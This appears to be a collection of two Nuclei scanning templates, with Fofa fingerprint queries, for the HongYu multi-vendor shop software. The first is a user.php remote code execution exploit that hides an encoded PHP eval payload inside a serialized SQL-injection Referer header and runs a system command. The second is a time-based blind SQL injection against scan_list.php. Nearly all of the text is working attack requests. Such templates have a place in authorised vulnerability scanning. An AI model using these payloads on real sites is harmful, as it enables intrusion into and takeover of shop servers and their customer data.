鸿宇多用户商城
鸿宇多用户商城user.php存在远程命令执行漏洞
Fofa:body="content=HongYuJD" && body="68ecshopcom_360buy"
id: hydyhsc-user-rce
info:
name: hydyhsc-user-rce
author: m0be1
severity: critical
description: 鸿宇多用户商城user.php RCE漏洞
http:
- raw:
- |
POST /user.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:233:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243686959584e6c4e6a52665a47566a6232526c4b435266554539545646747961574e7258536b704f773d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Accept-Encoding: gzip
Connection: close
action=login&rick=ZWNobyhzeXN0ZW0oImVjaG8gc3RjdGVzdCIpKTs=
matchers:
- type: dsl
dsl:
- 'status_code==200 && contains_all(body,"stctest")'
鸿宇多用户商城scan_list存在SQL注入漏洞
Fofa:body="content=HongYuJD" && body="68ecshopcom_360buy"
nuclei
id: hydyhsc-scanlist-sqli
info:
name: hydyhsc-scanlist-sqli
author: xxx
severity: critical
description: 鸿宇多用户商城scan_list存在SQL注入漏洞
http:
- raw:
- |
POST /scan_list.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
data['fahuo']=(SELECT 2753 FROM (SELECT(SLEEP(0)))QkUH)&act=view
- |
POST /scan_list.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
data['fahuo']=(SELECT 2753 FROM (SELECT(SLEEP(3)))QkUH)&act=view
matchers:
- type: dsl
dsl:
- 'status_code==200 && duration_1>0 && duration_1<1'
- 'status_code==200 && duration_2>3 && duration_2<4'